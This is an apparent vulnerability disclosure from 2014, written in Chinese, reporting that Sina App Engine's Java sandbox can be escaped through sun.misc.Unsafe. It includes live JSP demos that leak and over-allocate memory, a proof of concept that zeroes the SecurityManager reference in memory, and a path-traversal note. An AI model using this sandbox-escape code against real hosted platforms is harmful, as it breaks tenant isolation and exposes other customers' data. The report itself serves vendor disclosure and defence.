2014-08-17: 细节已通知厂商并且等待厂商处理中 2014-08-19: 厂商已经确认,细节仅向厂商公开 2014-08-29: 细节向核心白帽子及相关领域专家公开 2014-09-08: 细节向普通白帽子公开 2014-09-18: 细节向实习白帽子公开 2014-10-01: 细节向公众公开
RT!
//本来想写篇文章的,但怕牵扯到某些公司云沙盒环境
sun.misc.Unsafe是当年sun公司操作内存的内部API,没有公开.有些JDK已经去掉了这个类.但大部分的jdk依然保留着.
sun.misc.Unsafe看名字就知道,不安全的.反编译的大致源码: package sun.misc;import java.lang.reflect.Field;import java.lang.reflect.Modifier;import java.security.ProtectionDomain;import sun.reflect.Reflection;public final class Unsafe{ private static final Unsafe theUnsafe; public static final int INVALID_FIELD_OFFSET = -1; private static native void registerNatives(); public static Unsafe getUnsafe() { Class localClass = Reflection.getCallerClass(2); if (localClass.getClassLoader() != null) throw new SecurityException("Unsafe"); return theUnsafe; } public native int getInt(Object paramObject, long paramLong); public native void putInt(Object paramObject, long paramLong, int paramInt); public native Object getObject(Object paramObject, long paramLong); public native void putObject(Object paramObject1, long paramLong, Object paramObject2); public native boolean getBoolean(Object paramObject, long paramLong); public native void putBoolean(Object paramObject, long paramLong, boolean paramBoolean); public native byte getByte(Object paramObject, long paramLong); public native void putByte(Object paramObject, long paramLong, byte paramByte); public native short getShort(Object paramObject, long paramLong); public native void putShort(Object paramObject, long paramLong, short paramShort); public native char getChar(Object paramObject, long paramLong); public native void putChar(Object paramObject, long paramLong, char paramChar); public native long getLong(Object paramObject, long paramLong); public native void putLong(Object paramObject, long paramLong1, long paramLong2); public native float getFloat(Object paramObject, long paramLong); public native void putFloat(Object paramObject, long paramLong, float paramFloat); public native double getDouble(Object paramObject, long paramLong); public native void putDouble(Object paramObject, long paramLong, double paramDouble); @Deprecated public int getInt(Object paramObject, int paramInt) { return getInt(paramObject, paramInt); } @Deprecated public void putInt(Object paramObject, int paramInt1, int paramInt2) { putInt(paramObject, paramInt1, paramInt2); } @Deprecated public Object getObject(Object paramObject, int paramInt) { return getObject(paramObject, paramInt); } @Deprecated public void putObject(Object paramObject1, int paramInt, Object paramObject2) { putObject(paramObject1, paramInt, paramObject2); } @Deprecated public boolean getBoolean(Object paramObject, int paramInt) { return getBoolean(paramObject, paramInt); } @Deprecated public void putBoolean(Object paramObject, int paramInt, boolean paramBoolean) { putBoolean(paramObject, paramInt, paramBoolean); } @Deprecated public byte getByte(Object paramObject, int paramInt) { return getByte(paramObject, paramInt); } @Deprecated public void putByte(Object paramObject, int paramInt, byte paramByte) { putByte(paramObject, paramInt, paramByte); } @Deprecated public short getShort(Object paramObject, int paramInt) { return getShort(paramObject, paramInt); } @Deprecated public void putShort(Object paramObject, int paramInt, short paramShort) { putShort(paramObject, paramInt, paramShort); } @Deprecated public char getChar(Object paramObject, int paramInt) { return getChar(paramObject, paramInt); } @Deprecated public void putChar(Object paramObject, int paramInt, char paramChar) { putChar(paramObject, paramInt, paramChar); } @Deprecated public long getLong(Object paramObject, int paramInt) { return getLong(paramObject, paramInt); } @Deprecated public void putLong(Object paramObject, int paramInt, long paramLong) { putLong(paramObject, paramInt, paramLong); } @Deprecated public float getFloat(Object paramObject, int paramInt) { return getFloat(paramObject, paramInt); } @Deprecated public void putFloat(Object paramObject, int paramInt, float paramFloat) { putFloat(paramObject, paramInt, paramFloat); } @Deprecated public double getDouble(Object paramObject, int paramInt) { return getDouble(paramObject, paramInt); } @Deprecated public void putDouble(Object paramObject, int paramInt, double paramDouble) { putDouble(paramObject, paramInt, paramDouble); } public native byte getByte(long paramLong); public native void putByte(long paramLong, byte paramByte); public native short getShort(long paramLong); public native void putShort(long paramLong, short paramShort); public native char getChar(long paramLong); public native void putChar(long paramLong, char paramChar); public native int getInt(long paramLong); public native void putInt(long paramLong, int paramInt); public native long getLong(long paramLong); public native void putLong(long paramLong1, long paramLong2); public native float getFloat(long paramLong); public native void putFloat(long paramLong, float paramFloat); public native double getDouble(long paramLong); public native void putDouble(long paramLong, double paramDouble); public native long getAddress(long paramLong); public native void putAddress(long paramLong1, long paramLong2); public native long allocateMemory(long paramLong); public native long reallocateMemory(long paramLong1, long paramLong2); public native void setMemory(long paramLong1, long paramLong2, byte paramByte); public native void copyMemory(Object paramObject1, long paramLong1, Object paramObject2, long paramLong2, long paramLong3); public void copyMemory(long paramLong1, long paramLong2, long paramLong3) { copyMemory(null, paramLong1, null, paramLong2, paramLong3); } public native void freeMemory(long paramLong); @Deprecated public int fieldOffset(Field paramField) { if (Modifier.isStatic(paramField.getModifiers())) { return (int)staticFieldOffset(paramField); } return (int)objectFieldOffset(paramField); } @Deprecated public Object staticFieldBase(Class paramClass) { Field[] arrayOfField = paramClass.getDeclaredFields(); for (int i = 0; i < arrayOfField.length; i++) { if (Modifier.isStatic(arrayOfField[i].getModifiers())) { return staticFieldBase(arrayOfField[i]); } } return null; } public native long staticFieldOffset(Field paramField); public native long objectFieldOffset(Field paramField); public native Object staticFieldBase(Field paramField); public native void ensureClassInitialized(Class paramClass); public native int arrayBaseOffset(Class paramClass); public native int arrayIndexScale(Class paramClass); public native int addressSize(); public native int pageSize(); public native Class defineClass(String paramString, byte[] paramArrayOfByte, int paramInt1, int paramInt2, ClassLoader paramClassLoader, ProtectionDomain paramProtectionDomain); public native Class defineClass(String paramString, byte[] paramArrayOfByte, int paramInt1, int paramInt2); public native Object allocateInstance(Class paramClass) throws InstantiationException; public native void monitorEnter(Object paramObject); public native void monitorExit(Object paramObject); public native boolean tryMonitorEnter(Object paramObject); public native void throwException(Throwable paramThrowable); public final native boolean compareAndSwapObject(Object paramObject1, long paramLong, Object paramObject2, Object paramObject3); public final native boolean compareAndSwapInt(Object paramObject, long paramLong, int paramInt1, int paramInt2); public final native boolean compareAndSwapLong(Object paramObject, long paramLong1, long paramLong2, long paramLong3); public native Object getObjectVolatile(Object paramObject, long paramLong); public native void putObjectVolatile(Object paramObject1, long paramLong, Object paramObject2); public native int getIntVolatile(Object paramObject, long paramLong); public native void putIntVolatile(Object paramObject, long paramLong, int paramInt); public native boolean getBooleanVolatile(Object paramObject, long paramLong); public native void putBooleanVolatile(Object paramObject, long paramLong, boolean paramBoolean); public native byte getByteVolatile(Object paramObject, long paramLong); public native void putByteVolatile(Object paramObject, long paramLong, byte paramByte); public native short getShortVolatile(Object paramObject, long paramLong); public native void putShortVolatile(Object paramObject, long paramLong, short paramShort); public native char getCharVolatile(Object paramObject, long paramLong); public native void putCharVolatile(Object paramObject, long paramLong, char paramChar); public native long getLongVolatile(Object paramObject, long paramLong); public native void putLongVolatile(Object paramObject, long paramLong1, long paramLong2); public native float getFloatVolatile(Object paramObject, long paramLong); public native void putFloatVolatile(Object paramObject, long paramLong, float paramFloat); public native double getDoubleVolatile(Object paramObject, long paramLong); public native void putDoubleVolatile(Object paramObject, long paramLong, double paramDouble); public native void putOrderedObject(Object paramObject1, long paramLong, Object paramObject2); public native void putOrderedInt(Object paramObject, long paramLong, int paramInt); public native void putOrderedLong(Object paramObject, long paramLong1, long paramLong2); public native void unpark(Object paramObject); public native void park(boolean paramBoolean, long paramLong); public native int getLoadAverage(double[] paramArrayOfDouble, int paramInt); static { registerNatives(); theUnsafe = new Unsafe(); }}
看到我们是无法去new这个类的,但是看到最后几行: static { registerNatives(); theUnsafe = new Unsafe(); } 默认是由于自己初始化的,它有个 (private static final Unsafe theUnsafe;)theUnsafe属性,那我们可以用反射去调用它了.
Field field = sun.misc.Unsafe.class.getDeclaredField("theUnsafe");field.setAccessible(true);Unsafe unsafe = (sun.misc.Unsafe) field.get(null);//获取实例
有人说它是sun公司留下的后门,呵呵!
SAE使用的openjdk也有这个类,且没有禁用掉.
用unsafe去申请1个字节的内存,并赋值123456:index.jsp:<%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%><%@ page language="java" import="java.lang.reflect.Field,sun.misc.Unsafe" %><!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"><html><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"><title></title></head><body><% java.lang.reflect.Field field = sun.misc.Unsafe.class.getDeclaredField("theUnsafe"); field.setAccessible(true);sun.misc.Unsafe unsafe = (sun.misc.Unsafe) field.get(null);long address=unsafe.allocateMemory(1);long value=123456;unsafe.putLong(address, value);%>申请的地址: <%= address%><br>获取地址填充的值123456: <%= unsafe.getAddress(address)%><br>释放内存:<% unsafe.freeMemory(address);%>******<br>获取地址填充的值123456: <%= unsafe.getAddress(address)%></body></html>http://unsafe1.sinaapp.com/
申请的地址: 140193168417552,可以看到地址是140193168417552,根我想像的云环境内存分配不一样,没有隔离内存. 我大致计算了一下,大概:130565个G=140193168417552/(1024*1024*1024) 大概是我们应用所在环境的内存使用总量,可以多刷新自己看看变化幅度.
创建java应用,JVM上限是1个G.但能使用unsafe这个类,这就不对了!long address=unsafe.allocateMemory(1024*1024*1700); 申请1.7G内存:http://unsafe1.sinaapp.com/1700M_allocateMemory.jsp
1700M_allocateMemory.jspjava.lang.reflect.Field field = sun.misc.Unsafe.class.getDeclaredField("theUnsafe"); field.setAccessible(true);sun.misc.Unsafe unsafe = (sun.misc.Unsafe) field.get(null);long address=unsafe.allocateMemory(1024*1024*1700);
由于操作系统限制,JVM申请内存在这个版本的Linux是2G左右(我win环境下,大概是1个G多点),超过就报错!
注意Unsafe申请的内存不是由JVM管理的,是由创建者自己去管理.使用Runtime.maxMemory(); 是无法查看到它的. 所以用Runtime.maxMemory(); 是无法查看的.其实JVM也是调用它去申请内存,只不过我这里是直接调用它.
我们去随意写个错误地址:unsafe.putLong(11111, 1);会让JVM直接挂掉的.
除了内存信息泄露及内存使用越权外,似乎没什么用了,因为内存中每个JVM是隔离的.但注意,可以读写JVM的内存,那我们可以读写JVM中每个对象,对的,能读写SecurityManager这个对象.
SAE沙盒环境是重写jdk默认自带的SecurityManager类(安全管理器类).http://unsafe1.sinaapp.com/securityManager.jsp
securityManager.jsp<%=System.getSecurityManager()%>
jdk默认沙盒环境(包括applet),也是不允许访问这个类的(连所在包都是不允许的):
而SAE重写SecurityManager这个类时,正好漏掉了这层限制...
原理:获取沙盒对象地址,从JVM的内存中去掉(填充为0),从而去掉沙盒限制! 以下是我在这一场景的bypass沙盒环境测试demo.由于对内存读写不熟悉,仓促完成了32位HotSpot(TM)jdk粗糙PoC,SAE 64位openjdk 的PoC待有缘人去完成它!
MySecurityManager.java
import java.security.Permission; public class MySecurityManager extends SecurityManager { private String path="C:\\sandbox"; //win环境,安全路径限制示例 public void setPath(String path) { this.path = path; } @Override public void checkRead(String file) { //此为测试demo,file操作存在其他绕过,不要模仿 System.out.println("file:"+file); //System.out.println("path:"+this.path); if (!file.startsWith(this.path)) { throw new SecurityException("沙盒安全目录限制..."); } } //这里重写checkPermission方法,破坏原有权限结构;开放相关权限 /* */@Override public void checkPermission(Permission perm) { } }
Test.java
import java.io.FileInputStream;import java.lang.reflect.Field;import sun.misc.Unsafe;public class Test { public static long normalize(int value) { // System.out.println(value); if(value >= 0) return value; return (~0L >>> 32) & value; } public static long toAddress(Unsafe unsafe,Object obj) { Object[] array = new Object[] {obj}; long baseOffset = unsafe.arrayBaseOffset(Object[].class); //System.out.println(baseOffset); return normalize(unsafe.getInt(array, baseOffset)); /* int baseOffset = unsafe.arrayBaseOffset(Object[].class); return normalize(unsafe.getInt(array,baseOffset )); */ } public static void disableSecurity() throws Exception { Field field = sun.misc.Unsafe.class.getDeclaredField("theUnsafe"); field.setAccessible(true); Unsafe unsafe = (sun.misc.Unsafe) field.get(null); long address=unsafe.allocateMemory(1); long sys =toAddress(unsafe,java.lang.System.class); long sm =toAddress(unsafe,java.lang.System.getSecurityManager()); sys=unsafe.getAddress(sys+4L); /* */ for (int i = 0; i < 1000000; i++) { long addr = sys + i * 4; long val =unsafe.getAddress(addr); if (val == sm) { unsafe.putAddress(addr, 0); if (System.getSecurityManager() == null) { System.out.println("SecurityManager关闭!!!"); break; } } } } public static void main(String[] args) throws Exception { System.out.println("sys "+System.getProperty("sun.arch.data.model")+" bit"); MySecurityManager mySecurityManager=new MySecurityManager(); System.setSecurityManager(mySecurityManager); if (System.getSecurityManager() != null) { System.out.println("SecurityManager启动!!!"); } //关掉沙盒 Test.disableSecurity(); /* bypass 1: 代码不严谨,没有处理路径回溯符/../ */ FileInputStream fis = new FileInputStream("C:\\1.log"); //FileInputStream fis = new FileInputStream("C:\\sandbox\\..\\1.log"); System.out.println(fis.read());//读取一个字节 }}
最好限制这个包:sun.misc.*访问!(由于百度BAE欠费,就没测试它.至于GAE,我相信他们是禁用了这个类)
危害等级:高
漏洞Rank:10
确认时间:2014-08-19 20:37
感谢对新浪安全工作的支持,漏洞正在修复。
暂无